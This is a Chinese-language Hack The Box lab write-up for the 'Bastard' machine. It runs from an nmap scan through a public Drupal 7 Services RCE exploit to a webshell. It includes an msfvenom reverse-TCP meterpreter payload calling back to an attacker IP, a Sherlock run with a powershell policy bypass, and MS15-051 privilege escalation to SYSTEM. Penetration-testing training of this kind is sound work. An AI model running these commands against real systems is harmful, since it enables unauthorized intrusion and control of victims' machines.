htb打靶-Bastard
信息收集
1  | nmap -sV -sT -sC -O 10.129.10.80  | 
开放了80,135,重点显然是在web上面了

查看首页,drupal cms
google一下找到专用扫描器
1  | https://github.com/immunIT/drupwn  | 
给出了版本7.54但是发现扫不出,换工具!

nday利用
换searchsploit寻找nday

-m 编号,下载到当前目录,修改对应内容

执行发现少一个扩展

1  | apt-get install php-curl  | 
发现利用不成功

google继续跟进这个exp,找到解释https://vk9-sec.com/drupal-7-x-module-services-remote-code-execution/
原来还需要找到这个路径

确认存在,修改exp


利用成功,返回webshell路径

命令执行

上线msf
为了方便点可以先写个马上线蚁剑(重启后ip变了)

将靶机上线到msf
1  | msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.31 LPORT=5555 -f exe > shell.exe  | 

试了几个常用的提权模块,但是提不下来

下载提权脚本
1  | git clone https://github.com/rasta-mouse/Sherlock.git  | 
加载powershell
1  | load powershell  | 
导入powershell
1  | powershell_import '/root/Desktop/Sherlock/Sherlock.ps1' # 本地ps脚本路径  | 
执行
1  | powershell_execute “find-allvulns”  | 
或则直接上传上去运行
1  | powershell.exe -exec bypass -Command "& {Import-Module C:\inetpub\drupal-7.54\Sherlock.ps1;Find-AllVulns}  | 

下载exp
1  | https://github.com/SecWiki/windows-kernel-exploits/blob/master/MS15-051/MS15-051-KB3045171.zip  | 
上传运行

用system权限去运行后门,返回一个会话

拿到flag
